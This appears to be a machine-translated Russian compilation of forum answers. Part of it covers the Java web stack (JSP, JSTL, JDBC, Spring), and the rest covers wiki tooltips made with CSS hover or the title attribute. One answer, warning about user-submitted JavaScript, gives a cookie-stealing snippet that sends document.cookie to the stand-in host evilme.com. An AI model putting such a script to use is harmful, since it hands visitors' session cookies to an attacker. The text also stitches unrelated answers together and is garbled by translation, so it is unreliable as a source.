Вам нужны HTML, CSS и JavaScript - все обычные подозреваемые в веб-разработке.
У Tomcat есть встроенный веб-сервер, но это сервлет / JSP-движок. Apache - это чистый веб-сервер.
Вам нужно изучить JSP, который является языком шаблонов для создания сервлетов, которые генерируют вывод HTML. Вы захотите написать их с помощью JSTL, а не скриптов.
Если вы делаете CRUD-приложения, вам нужно изучить JDBC и реляционные базы данных. Вы должны сделать это перед тем, как попробовать Hibernate или любой другой ORM, потому что это основа, на которой они созданы.
JavaBeans - это просто стандарты для объектов Java.
Если вы для этого, я бы рекомендовал Spring framework.
Принятие Вы - администратор Wiki и являетесь согласным дисплеем это на наведении мыши вместо по щелчку, Вам не нужен JavaScript вообще - можно использовать прямой CSS. Вот пример стилей и разметки:
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN"
"http://www.w3.org/TR/html4/strict.dtd">
<html>
<head>
<title>Test</title>
<style type="text/css">
h1 { padding-bottom: .5em; position: relative; }
h1 span { font-weight: normal; font-size: small; position: absolute; bottom: 0; display: none; }
h1:hover span { display: block; }
</style>
</head>
<body>
<h1>Here is the title!
<span>Here is a little explanation</span>
</h1>
<p>Here is some page content</p>
</body>
</html>
Еще с некоторыми включенными стилями Ваше поле подсказки может выглядеть столь хорошим, как Вы хотели бы.
Если авторы Wiki мудры, нет, вероятно, никакого способа сделать это.
Проблема с внесенным пользователями JavaScript состоит в том, что он открывает дверь для всех форм злодеев для захвата данных из не подозревающего.
Давайте предположим, что зло - меня отправляет сценарий на общедоступном сайте:
i = new Image();
i.src = 'http://evilme.com/store_cookie_data?c=' + document.cookie;
Теперь я получу информацию о куки каждого посетителя страницы, отправленной на вход в систему мой сервер. И это - просто верхушка айсберга.
Это полностью зависит от определенного программного обеспечения Wiki, которое Вы используете. Путем я видел, что работа должна разместить js файл где-то в другом месте и затем включать с тегом script с атрибутом src.
Если они не признают, что, возможно, позволяют IFRAME, который можно установить на страницу, которая включает сценарий. Используя вторую технику, Вам не разрешат получить доступ к DOM страницы хоста.
Мне нравится ответ CSS. Когда можно использовать CSS вместо JavaScript, он приводит к более простой разметке.
Другой вещью изучить является Общественный Набор для SharePoint Расширенный Выпуск Wiki на Codeplex. Можно загрузить исходный код и добавить в собственных функциях. Или можно предложить это в качестве новой возможности на форуме.
Это походит на угрозу безопасности. Кажется, что для администратора Wiki возможно установить сценарии, видеть пользовательские сценарии Википедии.
Это, конечно, зависело бы от механизма Wiki, с которым Вы говорите. Скорее всего, хотя, поскольку sblundy говорит, это была бы угроза безопасности для разрешения бесплатного использования JavaScript на странице Wiki.
Если Вы говорите об использовании JavaScript как часть веб-страницы на этом сайте, Вы не можете. Или любая другая общедоступная Wiki в этом отношении - это - угроза безопасности.
Если Вы говорите о регистрации примера кода, нажимаете '101010' кнопка выше текстового поля.
Добавить title="text here"
к любому тегу и это должно показать текст при парении на нем.
Internet Explorer показывает текст, когда Вы используете alt="text here"
атрибут, хотя это не согласно стандартам.
Я протестировал теперь, и можно добавить <h2 title="some explanation here">headline</h2>
к любой системе на основе Викимедиа (тот использование Википедии).
Вы не должны мочь добавить код JavaScript для любой общедоступной Wiki. Если Вы размещаете его сами, то необходимо попросить определенную систему Wiki, таким образом, кто-то может помочь Вам изменить настройки - если вообще возможный для той системы.